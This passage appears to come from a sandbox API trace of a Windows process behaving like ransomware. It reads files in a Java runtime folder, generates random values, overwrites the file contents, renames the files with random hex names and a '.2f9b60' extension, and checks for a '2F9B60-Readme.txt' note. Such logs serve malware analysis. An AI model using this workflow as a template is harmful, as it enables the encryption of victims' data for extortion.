NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\1929a691.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a4a0 [0141.891] NtSetInformationFile (FileHandle=0x1fd8, IoStatusBlock=0x36c9f990, FileInformation=0x2050a4a0, Length=0x88, FileInformationClass=0xa) returned 0x0 [0145.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a4a0) returned 1 [0145.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffaf0) returned 1 [0145.239] NtQueryInformationFile (in: FileHandle=0x1fd8, IoStatusBlock=0x36c9f958, FileInformation=0x36c9f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36c9f958, FileInformation=0x36c9f968) returned 0x0 [0145.239] NtSetInformationFile (FileHandle=0x1fd8, IoStatusBlock=0x36c9f958, FileInformation=0x36c9f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0145.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.241] FlushFileBuffers (hFile=0x1fd8) returned 1 [0145.251] CloseHandle (hObject=0x1fd8) returned 1 [0145.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061c30 [0145.264] wcscpy (in: _Dest=0x42061c30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0145.264] wcscat (in: _Dest=0x42061c30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0145.264] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061c30) returned 1 [0147.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863f10) returned 1 Thread: id = 2087 os_tid = 0x13b8 [0138.430] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt")) returned 0x20 [0140.395] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt", dwFileAttributes=0x20) returned 1 [0140.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f84 [0141.896] GetFileSizeEx (in: hFile=0x1f84, lpFileSize=0x36eefc00 | out: lpFileSize=0x36eefc00*=4226) returned 1 [0141.896] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x107e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.896] ReadFile (in: hFile=0x1f84, lpBuffer=0x36eefb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36eefbc8, lpOverlapped=0x0 | out: lpBuffer=0x36eefb80*, lpNumberOfBytesRead=0x36eefbc8*=0x4, lpOverlapped=0x0) returned 1 [0141.915] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0141.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe110 [0141.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe0e0 [0141.916] NtQuerySystemTime (in: CurrentTime=0x36eefac0 | out: CurrentTime=0x36eefac0*=132462177471622000) returned 0x0 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x55e9c2c1 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x723cd81f [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x5dea73f8 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x15018c59 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x5968d149 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x73c5ea48 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x450df437 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x17184556 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x45d3fc22 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x1f47105a [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x4f571424 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x7478ce8d [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x604b1fb4 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x2fc1beab [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x411a34c0 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x2c48fa4c [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x38bdca19 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x455371e2 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x1253a199 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x2504d3dc [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x168572b5 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x1ab4f0db [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x4f8d97b4 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x9cd778f [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x62de6665 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0xa6f9f55 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x5be364b7 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x50fdc592 [0141.916] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x4013c95c [0141.917] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x6bb8f758 [0141.917] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x4ec42dec [0141.917] RtlRandomEx (in: Seed=0x36eefab0 | out: Seed=0x36eefab0) returned 0x4551a6f5 [0141.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0141.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe0e0) returned 1 [0141.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0141.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0141.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0141.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e4d90 [0141.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0141.927] ReadFile (in: hFile=0x1f84, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x1082, lpNumberOfBytesRead=0x36eefab0, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x36eefab0*=0x1082, lpOverlapped=0x0) returned 1 [0141.987] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.988] WriteFile (in: hFile=0x1f84, lpBuffer=0x421fb5f0*, nNumberOfBytesToWrite=0x1082, lpNumberOfBytesWritten=0x36eefab4, lpOverlapped=0x0 | out: lpBuffer=0x421fb5f0*, lpNumberOfBytesWritten=0x36eefab4*=0x1082, lpOverlapped=0x0) returned 1 [0142.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0142.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0142.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0142.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0142.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e4d90) returned 1 [0142.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0142.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0142.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fe500 [0142.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0142.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0142.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0142.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0142.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204fe590 [0142.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0142.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5f0 [0142.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5f0) returned 1 [0142.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0142.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0142.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166f20 [0142.046] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0142.047] WriteFile (in: hFile=0x1f84, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x36eefbd0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x36eefbd0*=0x10c, lpOverlapped=0x0) returned 1 [0143.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d00 [0143.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0143.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ad0 [0143.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ad0) returned 1 [0143.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20260ad0 [0143.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0143.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0143.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c30) returned 1 [0143.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0143.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0143.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7aa120 [0143.437] sprintf (in: _Dest=0x1b7aa120, _Format="%c%c" | out: _Dest="d9") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa122, _Format="%c%c" | out: _Dest="12") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa124, _Format="%c%c" | out: _Dest="5b") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa126, _Format="%c%c" | out: _Dest="fb") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa128, _Format="%c%c" | out: _Dest="87") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa12a, _Format="%c%c" | out: _Dest="72") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa12c, _Format="%c%c" | out: _Dest="d3") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa12e, _Format="%c%c" | out: _Dest="81") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa130, _Format="%c%c" | out: _Dest="68") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa132, _Format="%c%c" | out: _Dest="f4") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa134, _Format="%c%c" | out: _Dest="fe") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa136, _Format="%c%c" | out: _Dest="7f") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa138, _Format="%c%c" | out: _Dest="26") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa13a, _Format="%c%c" | out: _Dest="88") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa13c, _Format="%c%c" | out: _Dest="7d") returned 2 [0143.437] sprintf (in: _Dest=0x1b7aa13e, _Format="%c%c" | out: _Dest="7c") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa140, _Format="%c%c" | out: _Dest="49") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa142, _Format="%c%c" | out: _Dest="0e") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa144, _Format="%c%c" | out: _Dest="ee") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa146, _Format="%c%c" | out: _Dest="04") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa148, _Format="%c%c" | out: _Dest="07") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa14a, _Format="%c%c" | out: _Dest="41") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa14c, _Format="%c%c" | out: _Dest="46") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa14e, _Format="%c%c" | out: _Dest="ab") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa150, _Format="%c%c" | out: _Dest="09") returned 2 [0143.438] sprintf (in: _Dest=0x1b7aa152, _Format="%c%c" | out: _Dest="34") returned 2 [0143.438] RtlInitAnsiString (in: DestinationString=0x36eefc48, SourceString="d9125bfb8772d38168f4fe7f26887d7c490eee04074146ab0934" | out: DestinationString="d9125bfb8772d38168f4fe7f26887d7c490eee04074146ab0934") [0143.438] RtlAnsiStringToUnicodeString (in: DestinationString=0x36eefc18, SourceString="d9125bfb8772d38168f4fe7f26887d7c490eee04074146ab0934", AllocateDestinationString=1 | out: DestinationString="d9125bfb8772d38168f4fe7f26887d7c490eee04074146ab0934") returned 0x0 [0143.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce59b30 [0143.438] RtlFreeAnsiString (AnsiString="d") [0143.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa120) returned 1 [0143.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ad0) returned 1 [0143.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0143.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0143.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0143.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5c0) returned 1 [0143.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0143.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0143.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe110) returned 1 [0143.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0143.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0143.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1ce59bb0 [0143.440] wcscat (in: _Dest=0x1ce59bb0, _Source="d9125bfb8772d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\d9125bfb8772d") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\d9125bfb8772d" [0143.440] wcscat (in: _Dest=0x1ce59bb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\d9125bfb8772d.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\d9125bfb8772d.2f9b60" [0143.440] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\d9125bfb8772d.2f9b60", NtPathName=0x36eefbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\d9125bfb8772d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507b90 [0143.440] NtSetInformationFile (FileHandle=0x1f84, IoStatusBlock=0x36eefc90, FileInformation=0x20507b90, Length=0x92, FileInformationClass=0xa) returned 0x0 [0144.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507b90) returned 1 [0144.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0144.068] NtQueryInformationFile (in: FileHandle=0x1f84, IoStatusBlock=0x36eefc58, FileInformation=0x36eefc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36eefc58, FileInformation=0x36eefc68) returned 0x0 [0144.068] NtSetInformationFile (FileHandle=0x1f84, IoStatusBlock=0x36eefc58, FileInformation=0x36eefc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0144.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0144.082] FlushFileBuffers (hFile=0x1f84) returned 1 [0144.086] CloseHandle (hObject=0x1f84) returned 1 [0144.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59bb0 [0144.092] wcscpy (in: _Dest=0x1ce59bb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0144.092] wcscat (in: _Dest=0x1ce59bb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0144.092] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 [0147.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863f80) returned 1 Thread: id = 2088 os_tid = 0x13bc [0138.452] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\logging.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\logging.properties")) returned 0x20 [0140.531] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\logging.properties", dwFileAttributes=0x20) returned 1 [0140.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\logging.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\logging.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f38 [0141.573] GetFileSizeEx (in: hFile=0x1f38, lpFileSize=0x36fcfe00 | out: lpFileSize=0x36fcfe00*=2455) returned 1 [0141.574] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x993, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.574] ReadFile (in: hFile=0x1f38, lpBuffer=0x36fcfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36fcfdc8, lpOverlapped=0x0 | out: lpBuffer=0x36fcfd80*, lpNumberOfBytesRead=0x36fcfdc8*=0x4, lpOverlapped=0x0) returned 1 [0141.622] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0141.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.623] NtQuerySystemTime (in: CurrentTime=0x36fcfcc0 | out: CurrentTime=0x36fcfcc0*=132462177468658000) returned 0x0 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x5e93e3de [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x7b60ceba [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0xd898d90 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x184ea3a5 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x7a26c0e4 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x2974fbf7 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x391a6494 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x2f9051f5 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x45674fdc [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x780ee900 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x4c614303 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x7ecbc4 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x7b9ef8bd [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x7abee51a [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x5cffe443 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x6c23d297 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x570fc7bc [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x301f6343 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0xc540ba2 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x57198778 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0xeff591a [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x208175ad [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x5a779126 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x190c25c1 [0141.623] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x3d04bc0b [0141.624] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x110d1b4e [0141.624] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x4a83b122 [0141.624] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x57b0b029 [0141.624] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x346ab71f [0141.624] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x56bacd2e [0141.624] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x2aa39f55 [0141.624] RtlRandomEx (in: Seed=0x36fcfcb0 | out: Seed=0x36fcfcb0) returned 0x782dc77e [0141.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde10 [0141.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6f0 [0141.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0141.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0141.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42284d90 [0141.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0141.636] ReadFile (in: hFile=0x1f38, lpBuffer=0x42284d90, nNumberOfBytesToRead=0x997, lpNumberOfBytesRead=0x36fcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x42284d90*, lpNumberOfBytesRead=0x36fcfcb0*=0x997, lpOverlapped=0x0) returned 1 [0141.637] SetFilePointerEx (in: hFile=0x1f38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.637] WriteFile (in: hFile=0x1f38, lpBuffer=0x42279960*, nNumberOfBytesToWrite=0x997, lpNumberOfBytesWritten=0x36fcfcb4, 